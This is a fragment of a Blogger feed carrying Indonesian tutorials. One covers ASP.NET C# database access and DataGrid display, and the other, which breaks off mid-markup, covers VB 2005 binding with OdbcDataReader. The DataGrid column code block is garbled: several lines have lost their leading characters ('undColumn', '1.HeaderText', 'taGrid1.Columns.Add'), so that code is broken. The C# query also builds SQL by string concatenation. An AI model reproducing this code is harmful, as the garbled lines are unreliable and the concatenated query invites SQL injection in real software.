&lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;        }&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;    }&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;2. Menampilkan data&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Untuk menampilkan data, pertama kita bisa menggunakan class yang kita buat di atas, dan kemudian kita masukkan hasilnya &amp;#8211; yaitu return value berupa DataSet ke sebuah datagrid.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Berikut kode untuk menggunakan Class di atas:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;    &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;string&lt;/span&gt; sQuery =&lt;span style="color: #006080"&gt;&amp;quot;Select * from apApplication_DocMain&amp;quot;&lt;/span&gt; + &lt;span style="color: #006080"&gt;&amp;quot; where apID='&amp;quot;&lt;/span&gt; + Application[&lt;span style="color: #006080"&gt;&amp;quot;ApID&amp;quot;&lt;/span&gt;].ToString() + &lt;span style="color: #006080"&gt;&amp;quot;'&amp;quot;&lt;/span&gt; ;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;apClsConnectData cs = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; apClsConnectData();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;DataSet dsDoc = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; DataSet();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;dsDoc = cs.DataConnect(sQuery);&lt;/pre&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Setelah itu, kita sebetulnya bisa langsung memasukkan ke dalam sebuah datagrid dengan kode berikut ini, &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;DataGrid1.DataSource= dsDoc;&lt;br /&gt;  &lt;br /&gt;DataGrid1.DataBind();&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="http://2.bp.blogspot.com/_z-gOROj07o0/R8OOYZ0LL3I/AAAAAAAAABI/y9QoCSYCVy0/s1600-h/grid.JPG"&gt;&lt;img border="0" alt="" src="http://2.bp.blogspot.com/_z-gOROj07o0/R8OOYZ0LL3I/AAAAAAAAABI/y9QoCSYCVy0/s320/grid.JPG" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;dengan tidak lupa mencentang &lt;b&gt;Create Columns Automatically at Runtime&lt;/b&gt;, pada Property Builder yang kita akses dengan mengklik kanan Datagrid yang kita tempatkan dalam sebuah web form.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Apabila kita ingin membuat kolomnya secara koding, maka tanda centang di atas kita hilangkan, dan setiap kolom yang ingin ditampilkan di datagrid kita kodekan.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;    &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;//Column 1&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;undColumn bl1 = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; BoundColumn();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;1.HeaderText = &lt;span style="color: #006080"&gt;&amp;quot;Description&amp;quot;&lt;/span&gt;;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;1.DataField= &lt;span style="color: #006080"&gt;&amp;quot;Description&amp;quot;&lt;/span&gt;;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;Column 2&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;perLinkColumn hl = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; HyperLinkColumn();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;.HeaderText = &lt;span style="color: #006080"&gt;&amp;quot;Title&amp;quot;&lt;/span&gt;;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;.DataTextField = &lt;span style="color: #006080"&gt;&amp;quot;Title&amp;quot;&lt;/span&gt;;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;.DataNavigateUrlField =&lt;span style="color: #006080"&gt;&amp;quot;Location&amp;quot;&lt;/span&gt; ;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;.DataNavigateUrlFormatString =&lt;span style="color: #006080"&gt;&amp;quot;{0}&amp;quot;&lt;/span&gt;;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;taGrid1.Columns.Add(hl);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;taGrid1.Columns.Add(bl1);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;da contoh kode di atas kita membuat kolom BoundColumn dan Hyperlink Column.&lt;/pre&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;source: &lt;a href="http://widyanahar.blogspot.com/2008/02/aspnet-c-step-by-step-akses-database.html" target="_blank"&gt;widyanahar.blogspot.com&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:5c3dd79b-1930-404e-aec3-0e5f79ea683d" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/asp.net" rel="tag"&gt;asp.net&lt;/a&gt;,&lt;a href="http://technorati.com/tags/c#" rel="tag"&gt;c#&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/programming" rel="tag"&gt;programming&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-1561868583721317166?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/1561868583721317166/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=1561868583721317166&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1561868583721317166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1561868583721317166'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/03/aspnet-c-step-by-step-akses-database.html' title='ASP.NET C# : Step by Step Akses Database dan menampilkan dalam grid'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_z-gOROj07o0/R8OOYZ0LL3I/AAAAAAAAABI/y9QoCSYCVy0/s72-c/grid.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-1521501599884687876</id><published>2008-03-17T16:52:00.001+07:00</published><updated>2008-03-17T09:30:22.944+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>[Visual Basic 2005] - Binding Data Tanpa DataSet maupun DataAdapter</title><content type='html'>&lt;p align="justify"&gt;.NET Framework menyediakan model data yang dapat digunakan sebagai cache data sementara dari database dan me-load nya ke memori lokal yaitu DataSet. Developer seringkali menggunakan data model ini untuk menampung hasil data dari query yang kemudian diolah lebih lanjut, misal, binding ke DataGridView atau ComboBox.&lt;/p&gt; &lt;span class="fullpost"&gt;   &lt;p align="justify"&gt;Permasalahannya, karena Microsoft telah menyediakan komponen-komponen dan class yang bertugas untuk melakukan binding data-data tersebut, akhirnya mau tidak mau kita tergantung kepada aturan dari komponen-komponen tersebut dan ini sedikit ribet jika data yang akan kita binding harus dilakukan pengolahan terlebih dahulu. Lebih banyak hapalannya daripada logikanya. Bahkan query yang biasa dilakukan misal, Inner-Join pun harus dilakukan dengan aturan parent-child ala DataSet yang menurut saya kurang intuitif.&lt;/p&gt;    &lt;p align="justify"&gt;Bayangkan jika data yang kita bind ke DataGridView harus dihitung dulu, diterjemahkan ke kata-kata lain, diubah dalam ComboBox kemudian menentukan SelectedIndex nya, CheckBox, dan sebagainya.&lt;/p&gt;    &lt;p align="justify"&gt;Ada alternatif lain yang mungkin sedikit melanggar &amp;#8220;aturan resmi&amp;#8221; yaitu melakukan fetching data dengan OdbcDataReader.&lt;/p&gt;    &lt;ol&gt;     &lt;li&gt;       &lt;div align="justify"&gt;Misal kita punya tabel : &lt;/div&gt;     &lt;/li&gt;   &lt;/ol&gt;    &lt;div align="justify"&gt;     &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;       &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;         &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;CREATE&lt;/span&gt; &lt;span style="color: #0000ff"&gt;TABLE&lt;/span&gt; student (&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;        &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;ID &lt;span style="color: #0000ff"&gt;int&lt;/span&gt;,&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;        &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;nama &lt;span style="color: #0000ff"&gt;varchar&lt;/span&gt;(100) &lt;span style="color: #0000ff"&gt;default&lt;/span&gt; &amp;#8216;0&amp;#8242;,&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;        &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;alamat &lt;span style="color: #0000ff"&gt;varchar&lt;/span&gt;(200) &lt;span style="color: #0000ff"&gt;default&lt;/span&gt; &amp;#8221;,&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;        &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;telp &lt;span style="color: #0000ff"&gt;varchar&lt;/span&gt;(30) &lt;span style="color: #0000ff"&gt;default&lt;/span&gt; &amp;#8221;,&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;        &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;sex &lt;span style="color: #0000ff"&gt;int&lt;/span&gt; &lt;span style="color: #0000ff"&gt;default&lt;/span&gt; &amp;#8216;0&amp;#8242;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;        &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;)&lt;/pre&gt;&lt;br /&gt;      &lt;/div&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;  &lt;li&gt;&lt;br /&gt;    &lt;div align="justify"&gt;Untuk contoh datanya, masukkan data-data sembarang, dengan beberapa jenis kelamin yang berbeda. Kita tentukan saja jenis kelamin yaitu &amp;#8220;0&amp;#8243; untuk pria dan &amp;#8220;1&amp;#8243; untuk wanita. &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;    &lt;p align="justify"&gt;2. Kemudian kita buat form, kita kasih nama &amp;#8220;ViewDataSiswa&amp;#8221; dengan komponen2 sebagai berikut :&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;    &lt;ul&gt;&lt;br /&gt;      &lt;li&gt;&lt;br /&gt;        &lt;div align="justify"&gt;&lt;b&gt;DataGridView&lt;/b&gt; kita beri nama &lt;b&gt;DataGridSiswa&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;          &lt;br /&gt;Kita tambahkan komponen2 Column sebagai berikut : &lt;br /&gt;&lt;br /&gt;          &lt;br /&gt;Column : &lt;br /&gt;&lt;br /&gt;          &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;        &lt;p align="justify"&gt;Beri nama masing-masing column tersebut : colID, colNama, colAlamat, colTelp, colSex, colCmbDelete &lt;br /&gt;          &lt;br /&gt;Khusus untuk colSex yang bertipe DataGridViewComboBoxColumn, tambahkan Item yang berisi : &amp;#8220;Pria&amp;#8221; dan &amp;#8220;Wanita&amp;#8221; &lt;/p&gt;&lt;br /&gt;      &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;      &lt;li&gt;&lt;br /&gt;        &lt;div align="justify"&gt;&lt;b&gt;Button&lt;/b&gt; kita beri nama &lt;b&gt;btnDelete&lt;/b&gt; &lt;/div&gt;&lt;br /&gt;      &lt;/li&gt;&lt;br /&gt;    &lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;    &lt;p align="justify"&gt;3. Selanjutnya kita buat Class ProsesData sebagai berikut. &lt;br /&gt;      &lt;br /&gt;Note : dalam eksperimen kali ini kita menggunakan ADO ConnectionString untuk koneksi ke databasenya. Buka Artikel saya sebelumnya &lt;a href="http://renxe.wordcodess.com/2008/02/24/visual-basic-2005-koneksi-database-dengan-ado-connection-string/"&gt;Disini&lt;/a&gt; untuk penjelasan mengenai ADO ConnectionString&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;    &lt;div align="justify"&gt;&lt;br /&gt;      &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;        &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Imports&lt;/span&gt; System.Data.Odbc &lt;span style="color: #0000ff"&gt;Public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Class&lt;/span&gt; ProsesData&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Public&lt;/span&gt; connString &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;String&lt;/span&gt; = _&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: 